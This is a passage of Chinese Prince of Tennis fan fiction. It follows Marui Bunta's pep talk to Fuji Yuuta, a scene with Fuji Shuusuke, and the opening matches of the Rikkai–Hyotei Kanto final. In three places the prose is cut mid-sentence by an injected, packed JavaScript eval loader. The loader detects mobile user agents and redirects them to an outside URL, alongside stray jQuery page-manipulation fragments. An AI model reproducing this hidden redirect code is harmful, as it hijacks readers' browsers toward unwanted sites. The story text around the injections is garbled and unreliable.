“哎呀,我知道你想听什么。无非就是——你和不二周助不一样,你也有天赋,我认可你的才能……对吧?我这么说,肯定能轻易博得你的好感,你能得到平时求而不得的认可,也能暂时忘掉烦恼。而且对我来说,这只不过是随口说两句好听的漂亮话哄哄你罢了,一点难度都没有。两边就这么简单地一拍即合。但这样能满足你真正的野心吗?事实一点都没有改变哦。” 文太抬起眼睫,虽然是仰视的动作,洞悉人心的眼神却令裕太感到了一股凛冽的压迫感,好像将他步步紧逼到了悬崖边缘,那股令他下意识屏息的压力正沉甸甸地挤出他肺里残余的空气。 不二裕太嘴唇翕动,想要辩解:“我没有……” 是真的没有吗?他扪心自问,话只说出一半,就难堪地哽在了喉咙里。 “没有吗?你要不服气的话,就上场和不二周助一决高下。”丸井文太每一句都戳中他的痛处,“还是说你太有自知之明,已经绝望了,放弃了,连挑战的勇气都失去了?” 丸井文太的手机响了一下,他低头看了眼,一边回邮件一边随意地说着:“我们网球部里啊……今年有个非常了不起的新人,入学第一天就扬言要挑战部里最强的选手,成为第一名。你猜他成功了吗?” 一阵风将他们头顶的树叶吹得沙沙作响,在微微寂静清凉的空气中,“啪”的一声,丸井文太合上手机的翻盖,随后笑了一声,晃动的树影将他倏然温柔起来的眉眼藏在额发之间,唯有声音里毫不掩饰地透着愉悦。 “那家伙输得一塌糊涂,哭着跑出网球部,连入部申请书都没交。” “不是……这位丸井学长?你笑得也太开心了点吧。”不二裕太抽了抽嘴角,这很明显是别人的黑历史吧?这样拿出来嘲笑合适吗?光听着都觉得对方被打击得惨不忍睹。 “哈哈,抱歉抱歉,因为我觉得那是很有纪念意义的一天来着。”文太摆了摆手,站起身,“后来尽管他也一度闹脾气不愿意加入我们社团,可他自己却每天在沙滩上特训,没过多久就再次挑战。直到现在也是,不管被狠狠打击多少次,都能咬牙切齿地重新爬起来。那份百折不挠的韧劲得到了所有人的关注,我们都觉得他前途光明。” 所谓立海精神,就是直面风浪也要迎难而上,永远不畏挑战,全神贯注地争取胜利。他们拥有最高的自我要求,最严格的团队纪律,最成熟的培养体系,以及最强的选手。 “越逃避,就越难以克服自己的恐惧。想摆脱哥哥的光环,就堂堂正正地站出来介绍自己,让全国好手都记得你的名字。青学网球部的水准不差,今年不是东京第二吗?踏上更高的舞台,多和不同类型的选手切磋,才能更快变强,你们一年级的今年秋天还有新人战,能够提升实力的资源到处都有,不用客气,就像去吃自助餐一样,能吃多少就吃多少吧。” 不二裕太站在原地,内心涌起一阵难以言喻的震动。勇敢前进,不要逃避……丸井文太的视线、话语,还有大胆无畏的笑容,每一个细节都透出让人振奋鼓舞的朝气,太阳般的暖意渗进心底,随着热血涌向四肢百骸,再回流心脏,重重敲击着胸口,胸腔里怦怦作响的心跳声砸得他几乎听不见别的声音了。 可他最终还是听清了丸井文太的道别,清冽的声音被微风送到不二裕太耳边。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213672|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拜拜了,下次就在正式赛上输给我吧。” 对方背对着他摆了摆手。 「哥,我决定下学期加入网球部。」 「裕太?」 「哼,别多想,我只是觉得其他网球强校的选手比俱乐部那些大叔厉害,才想参加大赛而已。」 「嗯,我太高兴了,以后我们就能在一个队里并肩作战了。」 「我说……你根本没看我的解释啊!」 手机屏幕透出幽蓝的冷光,在昏暗的室内微弱照亮了不二周助柔和的脸庞,他微微垂下眼帘,睫羽下的纯蓝眼瞳就像落满了星光的湖水。 他独自坐在公共休息区的木椅上,肩膀搭着一条白色毛巾,从碎发末梢渗出的水珠逐渐被布料吸收,让原本松软的毛巾变得又湿又沉。 空间里回荡着模糊的水声,像盛夏的骤雨,水珠在瓷砖墙与地面四溅流淌,哗哗汇入低处,像白噪音一样让人内心平静。 其他队友不像他赛后还去见了弟弟一面,早就冲完凉换好衣服走了,不二又坐了一会儿,回过神来,正准备收拾东西去找大家汇合,远处的水声却在此时忽然停了。 “哎呀,水没了……” 有个熟悉的声音小声咕哝了一句,然后四周安静了片刻。 “糟糕,刚才不小心把零钱都上贡给自贩机了,我的硬币没带够……杰克——!!!啧,想也知道根本不可能在啊!有人吗——谁能借我50日元!” 从淋浴间那边传来了苦恼的喊声,内容让不二周助忍俊不禁。 “给。” “噢,Thank you!” 他走过去递了硬币,换来挡帘后一声又真诚又开心的道谢,过了几秒,丸井文太从帘子边探出头,湿发与光裸的肩头还沾着泡沫,眼睛也像被水洗过一般亮晶晶的,水珠顺着侧脸的线条滑落,滴答滴答地落了下去。 “是不二啊,难怪声音听着有点耳熟。” “看在熟人的份上,不用还也可以哦。” “哎呀?怎么突然对我这么好呀,莫非是欠我人情了吗?” 文太瞧着不二笑而不语的模样,心里顿时跟明镜似的。难怪刚才突然给他发邮件打招呼,原来是离开后又绕回来找弟弟啊?不愧是兄弟,关心人的表现都是一个思路。 不过,比起心思一眼就能看穿的弟弟,这个哥哥可要深不可测多了。 不二说:“文太君好像和谁都能相处得气氛融洽,真是灵巧。” “有的时候也会踌躇啦。像那种,越想亲近的人就越忍不住小心对待,一种太过珍惜的心态。”丸井文太感慨地说,“话说回来,我以前教过我家弟弟走路,光用甜言蜜语哄小家伙压根不起作用啊!大概是平时说得太多,他都听习惯了。反倒是激将法效果出奇得好,弟弟一生气就朝我扑了过来……” “原来如此,这经验倒是很值得参考……” 两位当哥哥的互相交流起来。 “那,对不二你也有用吗?” 丸井文太突然提问,不二周助微微一怔,只见浑身湿淋淋的红发少年正用意味深长的眼神盯着自己。 四目相对,两人的视线在清冷潮湿的空气中相互粘接,他感觉到自己飘忽的思绪在这瞬间被定格,无法移开目光,也没有言语能用来概括此刻的念头。 “开玩笑的。” 对方蓦然眨了眨眼睛,将眼底窥探和审视的神态一扫而空,然后调皮地抿唇一笑,柔软起来的眼神甜得就跟蜜糖一样,他“唰”一下缩回挡帘里面。 周围又响起了嘈杂的水声,细小的水花从塑料帘的下面飘飞出来,溅落在不二周助的脚边。 对方的声音混合在水声里,因此听起来感觉有些模糊。 “大家都这么看待你们青学啊,说网球部有个实力出众的选手叫手冢国光,比身为部长的大和还要强。可我见到你之后就隐隐有种直觉,从小学JR大赛时期就名声大噪的天才不二周助也不是简单角色。所以你呢?也比你们部长更厉害吗?” 毕竟是出身于奉行实力至上主义的立海,文太问得坦坦荡荡,强者就有骄傲的本钱,没必要谦虚。 不二周助忍不住笑了笑,轻描淡写道:“谁知道呢。” “哈哈,内部机密吗?”丸井文太并不介意他有些暧昧不清的回答,轻松说,“我不讨厌你那种处处留人情面的说话方式哦,心地真温柔……唔,话说,网球或者保龄球,其他的娱乐也欢迎,下次约我出来玩啊。” “这个嘛,其实我个人对台球有点兴趣……” 69.File 68 天才 丸井文太本以为自己归队的时间已经算比较晚,没想到还有人比他更迟才回到约定的集合点。他打听后才知道,另一场半决赛居然刚刚结束,获胜方跟去年一样,是由迹部景吾带领的冰帝学园。 柳莲二收集到了很多情报,回来以后就跟他们讲解冰帝选手的特技,那些注意事项基本上在本周部内的战术会议中都讨论过了,所以丸井文太听得有些昏昏欲睡。 盛夏的阳光将公园的空气晒出很清新的青草味。为了避开正午最酷热的时段,决赛定在下午三点才开始,休息时间非常充裕。他悠哉地躺在有大树庇荫的草坪上,在连绵蝉鸣和参谋的讲课声环绕下逐渐闭上眼睛。 莲二莲二别念了,文太已经全部记住啦。他在心底悄悄哼唱起来。 文太平时没有午睡的习惯,只是小憩了不到半小时就懒洋洋地睁开眼睛。天空蔚蓝,高处堆叠的白云看起来非常柔软蓬松,就像用棉花糖做成的天空之城。 “不知道深处有没有藏匿着普拉达岛呢?”他不知不觉把心里的想法说了出来,“天上的点心,口感一定格外松软吧。” 耳边忽然传来幸村轻轻的笑声。 “是啊,说不定还存在地面没有的新品类呢。因为环境不同,在浮空岛上生存的植物和动物都不一样,所以,天上的人创造出了地面人类难以想象的新奇特产。” “那太让人向往了!” 文太腰上使力,“噌”地坐了起来,单腿支起,手臂搭在膝上,若有所思地说:“既然如此,我一定要全品类制霸才行。” “要是文太的话,一定没问题。”倚在树边的幸村合上书页,话音刚落就得到文太一个“你懂我”的骄傲眼神,他忍不住轻笑了一声。 “你们俩在说什么童话故事呢?” 仁王无精打采地加入话题,文太一转头就看到他揉着脖子、满脸苦闷的模样,微微诧异道:“真稀奇啊,你这家伙居然回来得这么早。不应该是像猫一样躲在阴凉清静的地方休息吗?” 仁王“啧”了一声:“找到的地方被抢了。” 他被鼾声吵醒时,发现自己身边躺着陌生人的惊吓还盘旋在心头。看校服好像是冰帝的选手,嘴巴大张,睡得满脸无忧无虑。仁王压根不知道那人是什么时候冒出来的,推了一下对方的肩膀也没把人唤醒,最后实在不胜其扰,只好悻悻地让出地盘。 他这种人平常着实少有吃哑巴亏的时候,加上睡眠不足,归队以后仍久久沉浸在纳闷的情绪里,连解释的语气都透着有气无力。 “那就在比赛上打倒他,好好出一口气。” 丸井文太歪了歪头,红发从脸颊旁轻轻滑落,说话时淡红的唇瓣微微张开,慢悠悠吹出一个泡泡。他那副表情始终看起来天真无邪,话语中却慢慢溢出了火药味,眼眸深处闪动着并不好惹的危险光彩,凛冽又锐利。 因为他已经调整好自己,把身心状态都切换成赛前的临战模式了。 “冰帝!冰帝!冰帝!冰帝!冰帝!” “常胜——立海大!Let’s go!Let’s go!立海大!” 一阵一阵的大风将森林公园从清静的午后中唤醒,树叶被气流卷往高处,天阔云高,两头如擂台上对峙般互不相让的助威声震彻全场,对抗氛围浓厚,观战席高处参赛学校的旗帜猎猎飞扬。 关东最后一战:立海vs冰帝。 前者作为手握关东十四连霸的常胜霸主,去年更是拿下全国优胜的王座,统治力如日中天,年年都能吸引众多年少成名的高手慕名加入,团队纪律严明,选手技术精湛,阵容毫无死角,地位稳如磐石。 后者是这两年高调崛起的东京强豪,网球部规模因其领袖个人魅力的影响而急剧扩张,如今已成为在全国范围内都一骑绝尘的200人超级社团,自然天资不凡的优秀选手也如雨后春笋般涌现出来,如今他们瞄准顶峰的势头汹汹,让人不能小觑。 大赛方给足了排场,决胜局被安排在森林公园中最大的斗兽场式球场上举行。大家早有预料这场比赛会精彩万分,不过现场人声鼎沸的盛况还是让许多观战的外校学生吃了一惊。 众人先是注意到看台下方人头攒动,几乎已经座无虚席,又发现了观众区最前排已经有看似是记者的成年人架好了长枪短炮,甚至还从人群中找到了许多熟悉面孔,是电视上才能见到的评论员、挖掘职业新人的俱乐部球探等等,可见这场关东决战实在备受外界瞩目。 “两边的气势都好强,这氛围堪比全国决赛啊。”有人感叹。 身旁的同伴也连连点头附和:“是啊,我都开始觉得热血澎湃了。” 球场上两校对阵的阵仗更是能让人感到剑拔弩张,从观众席高处俯冲而下的强风将幸村精市披在肩上的外套吹得向后扬起,连他的发丝和领口衣摆也微微晃动,眉目含笑的立海主将有着丝绸般温柔的神韵,侧脸的眼睫至尾梢都有着优雅漂亮的弧度,气场却强大得能将身侧风采各异一字排开的队员稳压一头,隔着一道球网,对面的冰帝队员扬起下颌,心高气盛地迎战气定神闲的立海式轻笑,而他们的帝王则是动作华丽地抬手抚过眼尾泪痣,勾起唇角哼笑一声,嚣张道出本场比赛的开战宣言: “看起来你们状态不错啊,幸村。不过,今天的胜者会是冰帝。你就做好觉悟吧,嗯?” “呵呵,迹部,说句实话,凭你们想打破立海的连胜还早了点,今日就请你认清事实吧。” 两位部长走到最前方握手致意。 “哇,真是夸张的场面……” 切原赤也第一次见识这样的盛况,趴在立海教练席后方的挡墙上方发出惊叹。他的额头上系着一条绣着“I love Rikkai”的丝带,是他同班一位拉拉队的女生分享的,难得他没有抱怨而是乖乖用上了。因为看起来实在可爱,丸井文太刚看到的时候还兴致勃勃地拿着粉红色油彩笔想在学弟脸上画爱心,可惜被对方警惕地逃掉了。 现在坏心眼的学长已经收敛了嬉皮笑脸的表情,拿起球拍以后跟他的搭档一起经过教练席的幸村部长身边,没有回头,鲜红碎发被风吹得微微凌乱,一如既往地能看见他吹出一个难度极高的泡泡,前进的步伐自信坚定,光背影就满是英姿飒爽的气息。 估计他现在又是带着从容不迫的扑克脸在打量对手吧。切原单手托腮,已经很娴熟地猜想出了对方此刻的表情。 “让我们轻松把对面解决掉吧。”文太挑高一边眉梢,兴致高昂地说,“开个好头,开个好头。” “OK。”杰克点了点头。 “唷,是丸井啊!好久不见了。”冰帝那边,深红色妹妹头的向日岳人先打了声招呼,然后像是准备干架似的转了转手臂,笑容明亮又透着挑衅,“这次我和侑士可要拿下这盘比赛了,别恨我啊!” “那是我们这边要说的话!”丸井文太也笑得灿烂,不遑多让地呛了回去。 “什么啊,你们俩这么快就燃起来了么?”忍足侑士佯装无奈地笑了一下,关西人天生慵懒散漫的声调被他独特的音色赋予了一丝性感的磁性,他抬手扶了扶眼镜,很有成人气质地装腔作势说,“好吧,那就让我拜见一下传说中的立海选手的本事吧。” 第一战,双打二。 立海,丸井-桑原pair VS 冰帝,向日-忍足 pair。 第一盘比赛的结果很容易影响队伍士气和全场氛围的风向。丸井文太非常清楚自己肩负的职责,不仅是跟杰克这对双打组合的前锋,也是为团队打出气势的前锋。冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222275|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帝这对组合跟他和杰克一样,也是由二年级选手搭档,此前双方没有交手过的经验,不过文太早上才跟青学的菊丸打过一场,算是对岳人这种以特技式打法为核心的球风比较熟悉,一开场就能应对得不慌不乱。 与擅长在球网前左右移动的菊丸英二不同,向日岳人更热衷于上下跳跃的特技式击球。 莫非这种打法已经成为东京那边网前选手的流行趋势了么? 丸井文太还有闲心微微纳闷了一下。因为不管怎么想,还是主流的截击更精准高效吧?特技式打法虽然具备一定误导性,却很难在洞察力强的选手面前发挥作用,而且多余动作太多,容易虚耗体力,高付出却低回报,像菊丸后来就被仁王耗到力竭了。 当然,他绝不会承认自己不擅长那些轻盈跳跃的夸张动作,只是风格不同的问题。 好多念头从意识层深处流转而过的时候,丸井文太依旧表现得不动声色,冷静地调动各种球路试探冰帝这对组合的配合。有杰克作为后卫,他不会接任何可能耽误自己下一次施展有效截击的球,只是全心全意地为得分采取行动。 所以,是时候粉碎对方的气焰了! 在岳人再次一跃而起,如特技演员般在半空腾跃翻身,挥拍打出名为月返的高压扣杀时,文太唇边勾起一个游刃有余的浅笑。 他后退两步,一记半截击将刚刚触地弹起的网球抽向对面场地。 此刻正是岳人落地不稳的瞬间,时机被文太拿捏得炉火纯青,落点更是刁钻地瞄准了对方脚边的死角。 “没关系,这可是双打!” 忍足侑士及时从底线上前补位,反手接住丸井文太轨迹刁钻的抽球,但由于接球角度不佳,为了避免回球击中距离太近的搭档,网球高高越过向日岳人的头顶。 “是吊高球!” “角度不错,好机会!” 场外观众忍不住大喊。 向日岳人看见丸井文太盯着网球高高跃起,他脸上不见慌乱,反而勾起一抹狡黠的笑:“你中计了,丸井!我们的侑士啊,可是冰帝的天才——” 就在那千钧一发之际,网球已经距离拍网不过几厘米的距离,即将挥拍扣杀的文太也看到了忍足跑向中线,准备背身抬手的前摇动作他并不陌生,是青学不二创造的回击招式——巨熊回击。 倘若自己这么直接打出杀球,忍足一定能借力打力反击回来,文太好不容易构建的进攻策略就会被彻底瓦解。 但在这间不容发的一刻,他的脸上反而浮现出一个更加不怀好意的笑容。 “中计的是你们。” 文太手中球拍向前挥出的势头始终不减,但飞向高空的网球却以极其微小的偏差从他橙色拍框的边缘飞过。 空挥? 难以想象他竟会犯下这种低级错误,场内的对手和场外观众都忍不住一愣。 然而丸井文太接下来的动作让所有人都大吃一惊,只见他空挥扣杀的手臂动作并未停下,身体随着网球从高点下落的速度在半空迅速伏低,右手所执的球拍从左臂腋下探出,让半空中被完美拦截的网球正中他第二次挥出高压杀球的拍网中心! 一道迅疾的黄色球影掠过半场,以势不可挡的气势飞过忍足侑士的耳畔。强烈劲风将他的头发吹乱,对方镜片后的眼睛因错愕而微微睁大,眼睁睁看着网球砸中底线。 “妙计,时间差地狱。” 这是一招彻底扰乱了击球时间和击球点的扣杀绝技,忍足若想用巨熊回击应对扣杀,需要提早背过身来接球,可是文太虚晃一招的假动作让他对杀球落点的预判完全失效,忍足的招式自然无处施展了。 丸井文太单手叉腰,将球拍指向冰帝场地,意气风发地说:“如何?我才是天才吧。” 70.File 69 连胜 “太棒了,丸井学长那招绝技太帅了!先发制人!” “不愧是我们所向披靡的网球天才!” 看台上立海低年级的部员们高高挥拳,兴奋地大声喝彩,更有男子拉拉队的同学将立海校旗挥舞得高高飘扬,呐喊声和助威的欢呼混成一股热血的浪潮,而在沸腾的场面最前方,丸井文太扛起球拍,眼神挑衅地望了过来,“啧啧”两声,轻巧地晃了晃食指。 “就凭你们冰帝,想撼动我们立海的连胜还早一百年!” 他清冽悦耳的声音响亮又骄傲,晶亮的汗珠顺着丸井文太侧脸的线条滑落到下颌尖,鲜红发丝随风飞起,熠熠生辉的紫眸深处燃烧着火一般的嚣张气焰,阳光灿烂,锋芒正盛,天地喧嚣,斗志昂扬,他那顾盼神飞的模样又比明澈焕然的日光更加闪耀。 就像是魅力无敌的青春偶像,又好似不可一世的天之骄子,风声窸窣,盛大辽阔地将一个注定被铭记为传奇的黄金时代拉开帷幕。 喂喂,为什么我总能遇到这种盛气凌人的家伙? 忍足侑士忍不住吐槽欲暗暗腹诽,随后扶了一下眼镜。 真是强烈的自信心啊,谦虚才是美德的时代难道已经成为过去了吗……他这样想着的时候唇角却没忍住勾了起来。 不过,丸井文太果然是一个难以让人心生恶感的人物。心机老辣却丝毫不带阴险气,还能把网球打出快意潇洒的气势,可见他心性中坦荡爽快的侠气。说实话,忍足侑士还是很欣赏这种人的。 看台上观战的不二裕太也扭过头说:“哥,你的招数被破了。” “嗯。”不二周助唇边依旧噙着令人如沐春风的微笑,双手插兜的模样显得分外从容,眼睫微动,低低说了一声“有意思”。 都说观察一个人的言行举止就能窥见对方的真正个性,对他们网球选手来说,审视一个人的球风和绝技也能够起到类似的作用,天资不凡的人物大多特色鲜明,十人十色。 不二周助自己的网球着重于借力打力,他喜欢用精巧如魔术的回招实现反击,对手出多少力,他也就回给对方多强的力,就像来去自如的风,而丸井文太的网球则能将比赛化作他锐意进取的战场,凭借让人感到惊险万分的极限操作来倾倒对手,那份勇往直前的气魄完全就是天生的攻坚手,犹如步步紧逼的波涛。 当然了,从丸井文太善于在双打中随心所欲的一面来看,他不仅心思细腻,能够灵活调整与不同搭档的协作模式,而且内心的安全感也是相当丰足,大概是早已对被偏爱的待遇习以为常了吧。 先凭借一手精妙的时间差地狱,丸井文太以胜者舍我其谁的强势手腕夺走了比赛的风向。为立海打头阵的二年级双打才开局就打得漂亮利落,先保发,再破对手的发球局,一往无前的势头化作压力降落在冰帝这头。 “前锋的丸井负责进攻,后卫的桑原负责防守,立海这对组合的职责分工非常明确。丸井的截击非常快,而且一旦他主动出手,就代表对方判断你们有机可乘,你们的精力不可避免要为防备他的攻击所分散,所以要从减少前锋碰球机会的思路着手,寻找后卫的破绽。” 交换场地以后,双方都有90秒休息时间。冰帝的榊监督简单扼要地提出建议,在忍足和岳人点头之后,他将目光投向立海的教练席。 对面幸村精市也正跟他的队员说话,丸井文太坐在旁边边吃小蛋糕边点头,立海比分占优,他的神情显然从容许多,时不时又跟在喝饮料补充水分的搭档玩笑两句,将对方侃得微微扶额。 心态、大局观、创造力,还有技术,立海新一轮主力的综合素养明显比往届优秀许多。榊监督心想。而且他们的军师也非同一般…… “我们被柳莲二摆了一道啊。” 忍足他们重新上场后,观战许久的迹部景吾也说出了与榊监督心中念头一样的感想,冷笑一声以后微微眯起眼睛。 “立海的丸井上一场与青学的菊丸交过手,菊丸是与岳人相同类型的网前选手,很明显,他们立海研究过我们的队员,这次特地让熟悉特技式打法的丸井来牵制岳人。” “喂,迹部。”在他身边的宍户亮皱起眉头,“立海这个安排不早就在我们的预料之中吗?岳人和忍足可不是那么容易就能被克制的组合!” “我知道。不过那个柳莲二的算计可没那么简单!他是个走一步看三步的策士,Master的称号可不是浪得虚名。” 迹部轻哼一声,视线投向站在立海选手区的那位执棋人,不爽自己到现在才看穿对手用意深远的算计。 “在安排与青学对战的阵容以前,那个军师就已经在为决赛布局了……立海跟冰帝不同,从地区预赛到关东决赛一直都是正选出战。这种做法稳妥是稳妥,可照理说,他们的情报早就应该被泄露得到处都是了,但在这个赛季里,丸井与桑原一起双打的次数有比其他人更多吗?” 宍户刚想吐槽有多少都无所谓吧,立海的阵容从来让人看不懂,每个人都像是随机分布一样,不过他马上看见了榊监督对迹部轻轻点头的动作,只好把话吞了回去。 迹部说:“我们这边的忍足和岳人是固定双打组合,柳莲二作风严谨,一定会提早研究对策。所以我和忍足都是这样想的:既然立海在与青学对战中已经取得获胜经验,而且丸井与仁王表现出了很强的压制力,这二人很大概率就是立海会在决赛派出的组合。” “结果就是预测失误……了吗?”宍户问。 只是猜错了对手而已,平时也经常有这种情况。随机应变就好,没人会把这点放在心上。更多时候他们连对手是谁都懒得问,甚至觉得在球场上见招拆招才能彰显实力。 所以这只是个小问题吧? 虽然对手是那个立海。 在宍户这么想的时候—— “立海是一所贯彻严谨风气的名校。”榊监督接过话头,淡淡地说,“不仅选手技术扎实,他们也善于在细节上营造优势,从不轻敌。理解‘积淀’所代表的意义——这是他们的长处,也是你们的短处。” “决赛把仁王换成丸井的搭档,看似只是其中一人的微调,对注重协调性的双打来说,几乎等于换成完全不同的对手。与立海这种水准的学校作战,赛前准备自然是要做得越足越好,这次忍足他们赛前拟定的战术,还有对赛况的推衍,都几乎白费了,可立海那边却能够正确预测我们的组合,提前准备对策,刚才忍足的招式被破解就是范例。作为结果,两边的胜算此消彼长。” 迹部冷静地解释。 “最关键的是,立海丸井和桑原的打法明显不是凭短期磨合就能实现的模式,要有非常深的信赖关系才能构筑出这种体系。丸井完全不管防守工作,能够全神贯注地寻找进攻时机,出手得分的效率很高,桑原的防守范围也远超普通后卫,可以全盘接手丸井主动放弃的球,而且他一直在给丸井创造机会。从特长来看,这是契合度和完成度都很高的配合,他们才是立海队伍中通过长期培养出来的真正搭档。” 冰帝这边榊监督提出了分化对手和针对杰克的思路,但岳人他们实施之后却很快意识到了事态并不简单。立海那个后卫不仅防守范围广得夸张,而且体力深不见底,反而渐渐把他们拖入了持久战的泥潭,结果首战的胜利还是被对手顺利收入囊中。 忍足和岳人回到选手区以后都有些狼狈地靠在椅子上喘着气,特别是岳人大有一瘫下去就起不来的架势,闭上眼以后整张脸庞都淌满汗水,他累得连话都没力气说,脸色甚至隐隐发白。 他的队员打得已经很认真,不过立海的选手无论在场上表现出的技战术水准还是赛前准备都更胜一筹,所以迹部景吾也不再指点什么,只是说:“回去要加强锻炼。” 立海在双打一派出的阵容是真田弦一郎和柳莲二,从阵容就可见他们对拿下两场双打都势在必得,剑指关东连胜的意图昭然若揭。那二人在去年全国大赛中便已声名远扬,真田的霸道强横搭配柳的神机妙算,他们联手的实力自是毋庸置疑,击败了冰帝派出的一对三年级组合。 “今年立海在双打上很用心啊,一对是前期雪藏的固定组合,一对是立海招牌的三强其二。” “吸取了去年的教训吧,去年我们还拿下过一盘双打的。那所学校不仅严厉还很狡猾,听说他们一旦输掉外战,不仅选手要加训,还得检讨反思如何调整战术,所以很少在同一个地方跌倒呢。” “连真田和柳都被调来打双打了,该不会直接让幸村上单打三吧?” “真要这样就完蛋了……” “那我们迹部部长会跟青学的手冢一样在单打三出场吗?这局保不住就要输了啊。” 冰帝那边议论纷纷。 “冰帝部长迹部景吾的自尊心很高,他不会像是青学部长大和佑大一样寄希望于避开幸村来拿下关东冠军,所以我们不用担心他会在单打三或者单打二出场。” 同一时间,回到立海选手区的柳莲二用平静的语气淡淡说道。毕竟是立海这个高傲军团的核心智囊,他反倒比冰帝的普通部员更擅长揣度迹部景吾的领袖气度。 “当然了,我们要是在单打三派出精市,拿下这场基本十拿九稳。但我们的队员也需要更多上单打锻炼的机会,因为全国大赛的比赛顺序不一样,到时候双打一的顺序会后置到团队赛第四盘举行,所以这里只能委屈精市了。” 幸村眨了眨眼睛,被柳微带歉意的语气逗得忍俊不禁:“唔?这就算是委屈吗?” “哎呀,毕竟幸村君的出场机会真的很少啊。”文太趴在教练席椅背上,担忧地说,“平时只有跟高中部和大学部的学长们打练习赛的时候,幸村君才有机会认真出手。一定很寂寞吧?” “无敌的烦恼也是很愁人的呐,puri。”仁王用打趣语气感叹。 真田皱了皱眉头,说:“你们不要抱怨了!大家听好,现在的安排也是为了全局着想,只能勉强幸村稍微忍耐一下了。” “哈哈……我倒也没觉得那么困扰啦。”幸村无奈地笑了笑,“应该说大家都表现得很好,我就会觉得开心哦。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258887|188823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 众人感慨:“自己没比赛打还时时关心我们,我们的部长果然温柔啊……” 结果不出立海参谋的推衍,冰帝的单打三并不是迹部景吾,而是极为胆大地派出了一名叫做桦地崇弘的一年级生。说是一年级的,对方那身材看起来却比许多三年级选手还高大,甚至可以称为魁梧了。 “是力量型的选手吗?” 立海这边都如此猜测。 此人与迹部一样,都是国中才从英国转回日本的学生,小学JR界里几乎没有他的相关情报。冰帝在赛季前期也雪藏了实力,到关东大赛才派出全员正选,从对方目前的寥寥几次出场录像来看,柳只能推测桦地的力量相当过人,击球力道足以匹敌真田,甚至接近幸村。 “真是的,我对怪力比较苦手啊……” 登场的学长扶额叹气,在一众学弟们微微打趣着“加训加训”的调侃声中拆下了负重护腕。说是苦手,他还是撑到了抢七,最后是措手不及于被对方以牙还牙地模仿了招式,棋差一着才败下阵来。 “失策啊,这盘应该让仁王上的,让你当替补真是浪费了。”丸井文太将手指搭在下颌,兴致勃勃地说。 “你只是想看热闹而已吧?”仁王似笑非笑,一眼就看透此人的坏心眼。 “怎么,怕输吗?”文太轻轻挑眉,笑容里掺了某种凛冽刺激的味道。 “呵,你以为我是谁?”仁王玩味地回视过去,眼神却比表情更加危险冷静。 立海单打二派出的是毛利寿三郎,对战的是冰帝的宍户亮,那家伙是丸井文太在去年新人战中交手过的对手,擅长中后场的半截击,追球的速度是挺快的,不过文太觉得他比起杰克还差一些。 “他是冰帝的二号人物么?总觉得差点火候啊。”文太歪了歪头。 从比赛表现能看出来,对方这一年来还是进步颇多的,实力居于关东中上级水准,但对立海依旧算不上什么威胁,宍户明显被毛利学长压着打。 冰帝那边,缓过气的向日岳人左右环顾了几圈,跟身边的忍足侑士问:“喂,还没找到慈郎吗?” 在搭档点了点头之后,他忍不住扶额:“可恶,那笨蛋一定又是迷失在哪里大睡特睡了……真是的,幸亏迹部早做了两手准备,提前让宍户替补他的位置,等下我找到他一定要狠狠说他一顿。” “睡过头错过比赛确实不妥,但慈郎平时也没有那么夸张吧,会不会出了什么事?”忍足问,“迹部已经派人去找他了吧?” “那个啊,我也不知道他怎么回事,慈郎以前明明对比赛都没什么紧张感的,前两天却莫名其妙地特别兴奋。”岳人摆了摆手,“你知道吗?他还说激动得睡不着……今早你不也看见慈郎眼底下特别大的黑眼圈了吗?睡觉皇帝居然失眠什么的,我那个时候就觉得有点不妙了,然后果不其然啊……” 慈郎在和六角比赛结束后的休整时间就不知溜去了哪里,后来甚至彻底错过了下午与立海的决赛。 要知道慈郎虽然性格天真迷糊,训练时总抱着趣味至上的心态随心所欲,但他在网前截击上的天赋高得出奇,在冰帝网球部内,他的实力仅在迹部之下。 “这倒也还好吧。”忍足娴熟地给脾气暴躁的搭档顺毛,“从结果来看,立海派出的是毛利寿三郎,虽然不如三巨头名气大,但去年可是连来自关西的网球名门——四天宝寺的部长原哲也,都成为了他的手下败将,那也是个实力强劲的好手。” 按忍足原本的想法,冰帝至少能在双打拿下一盘,单打三或单打二再拿一盘,才能换来迹部与幸村巅峰对决的机会,这也是冰帝取胜的必要条件。但立海的棘手之处不仅在于幸村,弑神路上还有好几个全国级别的魔王把关,团体阵容几乎看不到短板。当然了,忍足对自己和岳人的组合是很有信心的,却没想到自己也出师不利,胜负的天平早在首战就已倾向立海…… “啧,他们在上届全国大赛上大出风头的那几个人都还在,接替引退选手的丸井和桑原他们也不是简单角色。今年的立海,真的棘手了啊。” 